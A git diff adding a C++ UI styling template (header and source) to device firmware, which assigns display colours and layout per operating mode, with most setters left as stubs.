firmware/main/gotchi/ui_template.h | 49 ++++++++ 2 files changed, 218 insertions(+) create mode 100644 firmware/main/gotchi/ui_template.cpp create mode 100644 firmware/main/gotchi/ui_template.h diff --git a/firmware/main/gotchi/ui_template.cpp b/firmware/main/gotchi/ui_template.cpp new file mode 100644 index 0000000..6e52dd4 --- /dev/null +++ b/firmware/main/gotchi/ui_template.cpp @@ -0,0 +1,169 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "ui_template.h" +#include + +static const char* TAG = "gotchi_ui_template"; + +namespace gotchi { + +UITemplate::UITemplate() : _initialized(false) {} + +void UITemplate::init() { + _initialized = true; + ESP_LOGI(TAG, "UI Template initialized"); +} + +void UITemplate::setHeaderBox(int index, const char* text, lv_color_t bgColor, lv_color_t textColor) { + if (!_initialized || index < 0 || index >= 4) return; + // This would be called from app_gotchi to update header boxes + // The actual header boxes are managed in app_gotchi.cpp + (void)index; (void)text; (void)bgColor; (void)textColor; +} + +void UITemplate::setHeaderBoxesFromStyle(const UIModeStyle& style) { + if (!_initialized) return; + // Apply all 4 header boxes from style + for (int i = 0; i < 4; i++) { + setHeaderBox(i, style.headerBox[i], style.headerBoxBg[i], style.headerBoxText[i]); + } +} + +void UITemplate::setBodyText(const char* text) { + if (!_initialized) return; + // Body text is set via _networkListLabel in app_gotchi + (void)text; +} + +void UITemplate::setBodySize(int width, int height) { + if (!_initialized) return; + (void)width; (void)height; +} + +void UITemplate::setBodyPosition(int x, int y) { + if (!_initialized) return; + (void)x; (void)y; +} + +void UITemplate::setBodyColors(lv_color_t bg, lv_color_t text) { + if (!_initialized) return; + (void)bg; (void)text; +} + +void UITemplate::setBodyFromStyle(const UIModeStyle& style) { + if (!_initialized) return; + setBodyColors(style.bodyBg, style.bodyText); +} + +UIModeStyle UITemplate::getStyleForMode(Mode mode, const char* box0, const char* box1, + const char* box2, const char* box3, + const char* body, int bodyHeight) { + UIModeStyle style = {}; + + style.headerBox[0] = box0; + style.headerBox[1] = box1; + style.headerBox[2] = box2; + style.headerBox[3] = box3; + style.bodyContent = body; + style.bodyHeight = bodyHeight; + style.bodyX = 10; + style.bodyY = 45; + + // Default colors + for (int i = 0; i < 4; i++) { + style.headerBoxBg[i] = lv_color_hex(0x111111); + style.headerBoxText[i] = lv_color_hex(0x888888); + } + style.bodyBg = lv_color_hex(0x001a00); + style.bodyText = lv_color_hex(0x88FF88); + + // Mode-specific colors + switch (mode) { + case Mode::IDLE: + for (int i = 0; i < 4; i++) { + style.headerBoxBg[i] = lv_color_hex(0x003300); + style.headerBoxText[i] = lv_color_hex(0x88FF88); + } + style.bodyBg = lv_color_hex(0x001a00); + style.bodyText = lv_color_hex(0x00FF00); + break; + case Mode::SCOUT: + for (int i = 0; i < 4; i++) { + style.headerBoxBg[i] = lv_color_hex(0x001133); + style.headerBoxText[i] = lv_color_hex(0x88CCFF); + } + style.bodyBg = lv_color_hex(0x000D22); + style.bodyText = lv_color_hex(0x66AAFF); + break; + case Mode::HUNT: + for (int i = 0; i < 4; i++) { + style.headerBoxBg[i] = lv_color_hex(0x003300); + style.headerBoxText[i] = lv_color_hex(0x88FF88); + } + style.bodyBg = lv_color_hex(0x001A00); + style.bodyText = lv_color_hex(0x66FF66); + break; + case Mode::WARDIVE: + for (int i = 0; i < 4; i++) { + style.headerBoxBg[i] = lv_color_hex(0x331A00); + style.headerBoxText[i] = lv_color_hex(0xFFCC66); + } + style.bodyBg = lv_color_hex(0x221100); + style.bodyText = lv_color_hex(0xFFaa44); + break; + case Mode::SPECTRUM: + for (int i = 0; i < 4; i++) { + style.headerBoxBg[i] = lv_color_hex(0x001522); + style.headerBoxText[i] = lv_color_hex(0x44DDDD); + } + style.bodyBg = lv_color_hex(0x001522); + style.bodyText = lv_color_hex(0x44DDDD); + break; + case Mode::BLE_SCAN: + for (int i = 0; i < 4; i++) { + style.headerBoxBg[i] = lv_color_hex(0x150022); + style.headerBoxText[i] = lv_color_hex(0xDD66DD); + } + style.bodyBg = lv_color_hex(0x150022); + style.bodyText = lv_color_hex(0xDD66DD); + break; + case Mode::ROGUE: + for (int i = 0; i < 4; i++) { + style.headerBoxBg[i] = lv_color_hex(0x1A0A00); + style.headerBoxText[i] = lv_color_hex(0xFFCC66); + } + style.bodyBg = lv_color_hex(0x1A0A00); + style.bodyText = lv_color_hex(0xFFCC66); + break; + case Mode::CONFIG: + for (int i = 0; i < 4; i++) { + style.headerBoxBg[i] = lv_color_hex(0x002222); + style.headerBoxText[i] = lv_color_hex(0x88AAAA); + } + style.bodyBg = lv_color_hex(0x002222); + style.bodyText = lv_color_hex(0x88AAAA); + break; + case Mode::STATS: + for (int i = 0; i < 4; i++) { + style.headerBoxBg[i] = lv_color_hex(0x330033); + style.headerBoxText[i] = lv_color_hex(0xFF88FF); + } + style.bodyBg = lv_color_hex(0x1A0A1A); + style.bodyText = lv_color_hex(0xDD88DD); + break; + default: + break; + } + + return style; +} + +static UITemplate _uiTemplate; + +UITemplate& getUITemplate() { + return _uiTemplate; +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/ui_template.h b/firmware/main/gotchi/ui_template.h new file mode 100644 index 0000000..376c3bc --- /dev/null +++ b/firmware/main/gotchi/ui_template.h @@ -0,0 +1,49 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include +#include + +namespace gotchi { + +struct UIModeStyle { + const char* headerBox[4]; + lv_color_t headerBoxBg[4]; + lv_color_t headerBoxText[4]; + lv_color_t bodyBg; + lv_color_t bodyText; + const char* bodyContent; + int bodyHeight; + int bodyX; + int bodyY; +}; + +class UITemplate { +public: + UITemplate(); + + void init(); + + void setHeaderBox(int index, const char* text, lv_color_t bgColor, lv_color_t textColor); + void setHeaderBoxesFromStyle(const UIModeStyle& style); + + void setBodyText(const char* text); + void setBodySize(int width, int height); + void setBodyPosition(int x, int y); + void setBodyColors(lv_color_t bg, lv_color_t text); + void setBodyFromStyle(const UIModeStyle& style); + + UIModeStyle getStyleForMode(Mode mode, const char* box0, const char* box1, + const char* box2, const char* box3, + const char* body, int bodyHeight = 180); + +private: + bool _initialized = false; +}; + +UITemplate& getUITemplate(); + +} \ No newline at end of file